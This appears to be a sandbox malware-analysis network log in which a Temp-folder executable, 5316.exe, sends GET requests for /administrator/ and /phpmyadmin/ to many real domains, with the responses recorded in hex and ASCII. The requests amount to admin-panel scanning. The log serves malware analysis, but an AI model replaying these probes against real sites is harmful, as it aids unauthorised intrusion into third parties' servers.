2023-12-20 02:13:22 UTC	611	IN	Data Raw: 45 78 70 69 72 65 73 3a 20 57 65 64 2c 20 32 30 20 44 65 63 20 32 30 32 33 20 30 32 3a 31 33 3a 32 32 20 2b 30 30 30 30 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 73 74 6f 72 65 2c 20 6e 6f 2d 63 61 63 68 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 2c 20 20 70 72 65 2d 63 68 65 63 6b 3d 30 2c 20 70 6f 73 74 2d 63 68 65 63 6b 3d 30 2c 20 6d 61 78 2d 61 67 65 3d 30 0d 0a 50 72 61 67 6d 61 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a 56 61 72 79 3a 20 41 63 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 0d 0a 43 46 2d 43 61 63 68 65 2d 53 74 61 74 75 73 3a 20 44 59 4e 41 4d 49 43 0d 0a 52 65 70 6f 72 74 2d 54 6f 3a 20 7b 22 65 6e 64 70 6f 69 6e 74 73 22 3a 5b 7b 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 61 2e 6e 65 6c 2e 63 6c 6f 75 64 66 Data Ascii: Expires: Wed, 20 Dec 2023 02:13:22 +0000Cache-Control: no-store, no-cache, must-revalidate, pre-check=0, post-check=0, max-age=0Pragma: no-cacheVary: Accept-EncodingCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudf
2023-12-20 02:13:22 UTC	1369	IN	Data Raw: 33 65 64 30 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 22 6c 74 72 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 65 66 65 72 72 65 72 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 72 65 66 65 72 72 65 72 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 Data Ascii: 3ed0<!doctype html><html lang="en" dir="ltr"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="referrer" content="no-referrer"> <meta name="robots" content="noindex
2023-12-20 02:13:22 UTC	1369	IN	Data Raw: 73 2f 76 65 6e 64 6f 72 2f 6a 71 75 65 72 79 2f 6a 71 75 65 72 79 2d 6d 69 67 72 61 74 65 2e 6a 73 3f 76 3d 35 2e 30 2e 34 64 65 62 32 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 20 20 3c 73 63 72 69 70 74 20 64 61 74 61 2d 63 66 61 73 79 6e 63 3d 22 66 61 6c 73 65 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 6a 73 2f 77 68 69 74 65 6c 69 73 74 2e 70 68 70 3f 76 3d 35 2e 30 2e 34 64 65 62 32 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 20 20 3c 73 63 72 69 70 74 20 64 61 74 61 2d 63 66 61 73 79 6e 63 3d 22 66 61 6c 73 65 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 6a 73 2f 76 65 6e 64 6f 72 2f 73 70 72 69 6e 74 66 2e 6a 73 3f 76 3d 35 2e 30 2e 34 64 65 62 32 22 3e 3c 2f 73 63 72 69 Data Ascii: s/vendor/jquery/jquery-migrate.js?v=5.0.4deb2"></script> <script data-cfasync="false" type="text/javascript" src="js/whitelist.php?v=5.0.4deb2"></script> <script data-cfasync="false" type="text/javascript" src="js/vendor/sprintf.js?v=5.0.4deb2"></scri
2023-12-20 02:13:22 UTC	1369	IN	Data Raw: 72 79 2e 62 61 2d 68 61 73 68 63 68 61 6e 67 65 2d 31 2e 33 2e 6a 73 3f 76 3d 35 2e 30 2e 34 64 65 62 32 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 20 20 3c 73 63 72 69 70 74 20 64 61 74 61 2d 63 66 61 73 79 6e 63 3d 22 66 61 6c 73 65 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 6a 73 2f 76 65 6e 64 6f 72 2f 6a 71 75 65 72 79 2f 6a 71 75 65 72 79 2e 64 65 62 6f 75 6e 63 65 2d 31 2e 30 2e 35 2e 6a 73 3f 76 3d 35 2e 30 2e 34 64 65 62 32 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 20 20 3c 73 63 72 69 70 74 20 64 61 74 61 2d 63 66 61 73 79 6e 63 3d 22 66 61 6c 73 65 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 6a 73 2f 6d 65 6e 75 5f 72 65 73 69 7a 65 72 2e 6a 73 3f 76 3d 35 2e 30 2e Data Ascii: ry.ba-hashchange-1.3.js?v=5.0.4deb2"></script> <script data-cfasync="false" type="text/javascript" src="js/vendor/jquery/jquery.debounce-1.0.5.js?v=5.0.4deb2"></script> <script data-cfasync="false" type="text/javascript" src="js/menu_resizer.js?v=5.0.
2023-12-20 02:13:22 UTC	1369	IN	Data Raw: 20 20 3c 73 63 72 69 70 74 20 64 61 74 61 2d 63 66 61 73 79 6e 63 3d 22 66 61 6c 73 65 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 6a 73 2f 70 61 67 65 5f 73 65 74 74 69 6e 67 73 2e 6a 73 3f 76 3d 35 2e 30 2e 34 64 65 62 32 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 20 20 3c 73 63 72 69 70 74 20 64 61 74 61 2d 63 66 61 73 79 6e 63 3d 22 66 61 6c 73 65 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 6a 73 2f 64 72 61 67 5f 64 72 6f 70 5f 69 6d 70 6f 72 74 2e 6a 73 3f 76 3d 35 2e 30 2e 34 64 65 62 32 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 20 20 3c 73 63 72 69 70 74 20 64 61 74 61 2d 63 66 61 73 79 6e 63 3d 22 66 61 6c 73 65 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 Data Ascii: <script data-cfasync="false" type="text/javascript" src="js/page_settings.js?v=5.0.4deb2"></script> <script data-cfasync="false" type="text/javascript" src="js/drag_drop_import.js?v=5.0.4deb2"></script> <script data-cfasync="false" type="text/javasc
2023-12-20 02:13:22 UTC	1369	IN	Data Raw: 72 79 3a 22 22 2c 6f 70 65 6e 64 62 5f 75 72 6c 3a 22 64 62 5f 73 74 72 75 63 74 75 72 65 2e 70 68 70 22 2c 6c 61 6e 67 3a 22 65 6e 22 2c 73 65 72 76 65 72 3a 22 31 22 2c 74 61 62 6c 65 3a 22 22 2c 64 62 3a 22 22 2c 74 6f 6b 65 6e 3a 22 35 66 33 33 34 63 37 32 35 64 37 32 37 62 37 66 32 66 36 66 37 66 34 30 36 31 34 36 36 33 33 63 22 2c 74 65 78 74 5f 64 69 72 3a 22 6c 74 72 22 2c 73 68 6f 77 5f 64 61 74 61 62 61 73 65 73 5f 6e 61 76 69 67 61 74 69 6f 6e 5f 61 73 5f 74 72 65 65 3a 74 72 75 65 2c 70 6d 61 5f 74 65 78 74 5f 64 65 66 61 75 6c 74 5f 74 61 62 3a 22 42 72 6f 77 73 65 22 2c 70 6d 61 5f 74 65 78 74 5f 6c 65 66 74 5f 64 65 66 61 75 6c 74 5f 74 61 62 3a 22 53 74 72 75 63 74 75 72 65 22 2c 70 6d 61 5f 74 65 78 74 5f 6c 65 66 74 5f 64 65 66 61 75 6c Data Ascii: ry:"",opendb_url:"db_structure.php",lang:"en",server:"1",table:"",db:"",token:"5f334c725d727b7f2f6f7f406146633c",text_dir:"ltr",show_databases_navigation_as_tree:true,pma_text_default_tab:"Browse",pma_text_left_default_tab:"Structure",pma_text_left_defaul
2023-12-20 02:13:22 UTC	1369	IN	Data Raw: 0a 20 20 2e 61 64 64 28 27 63 6f 6e 66 69 67 2e 6a 73 27 2c 20 31 29 0a 20 20 2e 61 64 64 28 27 64 6f 63 6c 69 6e 6b 73 2e 6a 73 27 2c 20 31 29 0a 20 20 2e 61 64 64 28 27 66 75 6e 63 74 69 6f 6e 73 2e 6a 73 27 2c 20 31 29 0a 20 20 2e 61 64 64 28 27 6e 61 76 69 67 61 74 69 6f 6e 2e 6a 73 27 2c 20 31 29 0a 20 20 2e 61 64 64 28 27 69 6e 64 65 78 65 73 2e 6a 73 27 2c 20 31 29 0a 20 20 2e 61 64 64 28 27 63 6f 6d 6d 6f 6e 2e 6a 73 27 2c 20 31 29 0a 20 20 2e 61 64 64 28 27 70 61 67 65 5f 73 65 74 74 69 6e 67 73 2e 6a 73 27 2c 20 31 29 0a 20 20 2e 61 64 64 28 27 64 72 61 67 5f 64 72 6f 70 5f 69 6d 70 6f 72 74 2e 6a 73 27 2c 20 31 29 0a 20 20 2e 61 64 64 28 27 73 68 6f 72 74 63 75 74 73 5f 68 61 6e 64 6c 65 72 2e 6a 73 27 2c 20 31 29 0a 20 20 2e 61 64 64 28 27 76 Data Ascii: .add('config.js', 1) .add('doclinks.js', 1) .add('functions.js', 1) .add('navigation.js', 1) .add('indexes.js', 1) .add('common.js', 1) .add('page_settings.js', 1) .add('drag_drop_import.js', 1) .add('shortcuts_handler.js', 1) .add('v
2023-12-20 02:13:22 UTC	1369	IN	Data Raw: 6d 70 6f 72 74 2e 6a 73 27 29 3b 0a 20 20 20 20 20 20 41 4a 41 58 2e 66 69 72 65 4f 6e 6c 6f 61 64 28 27 73 68 6f 72 74 63 75 74 73 5f 68 61 6e 64 6c 65 72 2e 6a 73 27 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 41 4a 41 58 2e 66 69 72 65 4f 6e 6c 6f 61 64 28 27 63 6f 6e 73 6f 6c 65 2e 6a 73 27 29 3b 0a 20 20 7d 29 3b 0a 2f 2f 20 5d 5d 3e 0a 3c 2f 73 63 72 69 70 74 3e 0a 0a 20 20 3c 6e 6f 73 63 72 69 70 74 3e 3c 73 74 79 6c 65 3e 68 74 6d 6c 7b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 6e 6f 73 63 72 69 70 74 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 69 64 3d 6c 6f 67 69 6e 66 6f 72 6d 3e 0a 20 20 0a 20 20 3c 64 69 76 20 69 64 3d 22 70 6d 61 5f 68 65 61 64 65 72 22 3e 3c 2f 64 69 76 3e 0a 20 20 Data Ascii: mport.js'); AJAX.fireOnload('shortcuts_handler.js'); AJAX.fireOnload('console.js'); });// ...</script> <noscript><style>html{display:block}</style></noscript></head><body id=loginform> <div id="pma_header"></div>
2023-12-20 02:13:22 UTC	1369	IN	Data Raw: 22 22 3e 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 68 69 64 64 65 6e 22 20 6e 61 6d 65 3d 22 74 61 62 6c 65 22 20 76 61 6c 75 65 3d 22 22 3e 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 68 69 64 64 65 6e 22 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 20 76 61 6c 75 65 3d 22 35 66 33 33 34 63 37 32 35 64 37 32 37 62 37 66 32 66 36 66 37 66 34 30 36 31 34 36 36 33 33 63 22 3e 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 66 69 65 6c 64 73 65 74 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 6c 65 67 65 6e 64 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 22 6c 74 72 22 3e 4c 61 6e 67 75 61 67 65 3c 2f 6c 65 67 65 6e 64 3e 0a 20 20 20 20 0a 20 20 20 20 3c 73 65 6c 65 63 74 20 6e 61 6d 65 3d 22 6c 61 6e 67 22 20 63 6c 61 73 73 3d 22 61 75 74 6f 73 75 62 6d 69 74 22 20 6c 61 6e Data Ascii: ""><input type="hidden" name="table" value=""><input type="hidden" name="token" value="5f334c725d727b7f2f6f7f406146633c"> <fieldset> <legend lang="en" dir="ltr">Language</legend> <select name="lang" class="autosubmit" lan

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.4	53190	3.33.130.190	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:22 UTC	331	OUT	GET /administrator/ HTTP/1.1 Host: walshfam.com Accept: / Accept-Encoding: deflate, gzip Cookie: traffic_target=gd; caf_ipaddr=102.129.152.212; _policy={"restricted_market":false,"tracking_market":"implicit"}; country=US; city="Los%20Angeles" User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:22 UTC	836	IN	HTTP/1.1 200 OK Server: openresty Date: Wed, 20 Dec 2023 02:13:22 GMT Content-Type: text/html Content-Length: 1543 Last-Modified: Wed, 13 Dec 2023 20:27:43 GMT Connection: close ETag: "657a13bf-607" X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAJRmzcpTevQqkWn6dJuX/N/Hxl7YxbOwy8+73ijqYSQEN+WGxrruAKtZtliWC86+ewQ0msW1W8psOFL/b00zWqsCAwEAAQ_I8i9jo/v1bGBfYs8FvPGV1aBUSadZpKsxYBHvxrZb8bpRso2bbwcU3bo44SD+1gCvFTJUjSLNNdC50MmuvZZCA Cache-Control: no-cache X-Content-Type-Options: nosniff Set-Cookie: caf_ipaddr=102.129.152.212;Path=/;Max-Age=86400; Set-Cookie: country=US;Path=/;Max-Age=86400; Set-Cookie: city="Los%20Angeles";Path=/;Max-Age=86400; Set-Cookie: traffic_target=gd;Path=/;Max-Age=86400; Set-Cookie: _policy={"restricted_market":false,"tracking_market":"implicit"};Path=/;Max-Age=86400; Accept-Ranges: bytes
2023-12-20 02:13:22 UTC	1543	IN	Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 2f 3e 3c 74 69 74 6c 65 3e 3c 2f Data Ascii: <!doctype html><html lang="en"><head><meta http-equiv="content-type" content="text/html;charset=utf-8"/><meta name="viewport" content="width=device-width,initial-scale=1"/><link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon"/><title></

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.4	53279	96.45.112.177	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:22 UTC	178	OUT	GET /phpmyadmin/ HTTP/1.1 Host: texasopendoor.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:22 UTC	528	IN	HTTP/1.1 301 Moved Permanently Server: nginx Date: Wed, 20 Dec 2023 02:13:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=df7da631cd13e48c4445a685d9e05792; path=/ Pragma: no-cache Set-Cookie: aiovg_rand_seed=404933529; expires=Thu, 21-Dec-2023 02:13:22 GMT; Max-Age=86400; path=/ Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 X-Redirect-By: WordPress Location: https://www.texasopendoor.com/phpmyadmin/
2023-12-20 02:13:22 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.4	53286	13.248.169.48	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:22 UTC	335	OUT	GET /administrator/ HTTP/1.1 Host: filmboxstudios.com Accept: / Accept-Encoding: deflate, gzip Cookie: expiry_partner=; caf_ipaddr=102.129.152.212; _policy={"restricted_market":false,"tracking_market":"implicit"}; country=US; city="Los%20Angeles" User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:22 UTC	836	IN	HTTP/1.1 200 OK Server: openresty Date: Wed, 20 Dec 2023 02:13:22 GMT Content-Type: text/html Content-Length: 12976 Last-Modified: Wed, 13 Dec 2023 20:27:43 GMT Connection: close ETag: "657a13bf-32b0" X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAJRmzcpTevQqkWn6dJuX/N/Hxl7YxbOwy8+73ijqYSQEN+WGxrruAKtZtliWC86+ewQ0msW1W8psOFL/b00zWqsCAwEAAQ_U3sGMu+Wbix8bos6oTYzK0fzAMGQDkQdBY7+GChxO8gVhWNLGfKvGcADi0R8cVlyyB+yaJdX6zTYp0bTZ5XN0A Cache-Control: no-cache X-Content-Type-Options: nosniff Set-Cookie: caf_ipaddr=102.129.152.212;Path=/;Max-Age=86400; Set-Cookie: country=US;Path=/;Max-Age=86400; Set-Cookie: city="Los%20Angeles";Path=/;Max-Age=86400; Set-Cookie: expiry_partner=;Path=/;Max-Age=86400; Set-Cookie: _policy={"restricted_market":false,"tracking_market":"implicit"};Path=/;Max-Age=86400; Accept-Ranges: bytes
2023-12-20 02:13:22 UTC	12976	IN	Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 2f 3e 3c 74 69 74 6c 65 3e 3c 2f Data Ascii: <!doctype html><html lang="en"><head><meta http-equiv="content-type" content="text/html;charset=utf-8"/><meta name="viewport" content="width=device-width,initial-scale=1"/><link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon"/><title></

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.4	53306	178.33.163.4	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:22 UTC	177	OUT	GET /phpmyadmin/ HTTP/1.1 Host: antoniocorts.net Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:22 UTC	186	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 20 Dec 2023 02:13:22 GMT Content-Type: text/html; charset=iso-8859-1 Content-Length: 196 Connection: close Vary: Accept-Encoding
2023-12-20 02:13:22 UTC	196	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.4	53382	3.33.130.190	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:22 UTC	328	OUT	GET /administrator/ HTTP/1.1 Host: ornos.com Accept: / Accept-Encoding: deflate, gzip Cookie: traffic_target=gd; caf_ipaddr=102.129.152.212; _policy={"restricted_market":false,"tracking_market":"implicit"}; country=US; city="Los%20Angeles" User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:22 UTC	836	IN	HTTP/1.1 200 OK Server: openresty Date: Wed, 20 Dec 2023 02:13:22 GMT Content-Type: text/html Content-Length: 1543 Last-Modified: Wed, 13 Dec 2023 20:27:43 GMT Connection: close ETag: "657a13bf-607" X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAJRmzcpTevQqkWn6dJuX/N/Hxl7YxbOwy8+73ijqYSQEN+WGxrruAKtZtliWC86+ewQ0msW1W8psOFL/b00zWqsCAwEAAQ_aYSKNSMSKGY12XtOLHlfipavJXgUyMEN5BBjquCZlMft/JZb1R5RfApazbWxohRJGRGSR3097rbBjYFlIg8Y0w Cache-Control: no-cache X-Content-Type-Options: nosniff Set-Cookie: caf_ipaddr=102.129.152.212;Path=/;Max-Age=86400; Set-Cookie: country=US;Path=/;Max-Age=86400; Set-Cookie: city="Los%20Angeles";Path=/;Max-Age=86400; Set-Cookie: traffic_target=gd;Path=/;Max-Age=86400; Set-Cookie: _policy={"restricted_market":false,"tracking_market":"implicit"};Path=/;Max-Age=86400; Accept-Ranges: bytes
2023-12-20 02:13:22 UTC	1543	IN	Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 2f 3e 3c 74 69 74 6c 65 3e 3c 2f Data Ascii: <!doctype html><html lang="en"><head><meta http-equiv="content-type" content="text/html;charset=utf-8"/><meta name="viewport" content="width=device-width,initial-scale=1"/><link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon"/><title></

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.4	53316	162.159.134.42	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:22 UTC	177	OUT	GET /phpmyadmin/ HTTP/1.1 Host: directa-plus.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:22 UTC	888	IN	HTTP/1.1 520 Date: Wed, 20 Dec 2023 02:13:22 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 7189 Connection: close CF-Ray: 83845d9d9a3cdab9-MIA Cache-Control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Expires: Thu, 01 Jan 1970 00:00:01 GMT Vary: Accept-Encoding ki-cache-type: None ki-edge: v=20.2.5;mv=3.0.1 ki-origin: g1p Referrer-Policy: same-origin X-Content-Type-Options: nosniff X-Edge-Location-Klb: 1 X-Frame-Options: SAMEORIGIN Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=1U17GFzzo72CVu32HvDr9xBlRTrkWH2Y5%2Bitm8JwJmvRRZQARbg0lDeVrPf8VpJA8uiQ9Y%2Fi8f1NpOgydUZUGcvdV%2FCyD4c7nG13YBUCWWC4G7kcQcTA%2Fw4MRSo9RQPP3DU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2023-12-20 02:13:22 UTC	481	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 67 74 20 49 45 20 Data Ascii: <!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if gt IE
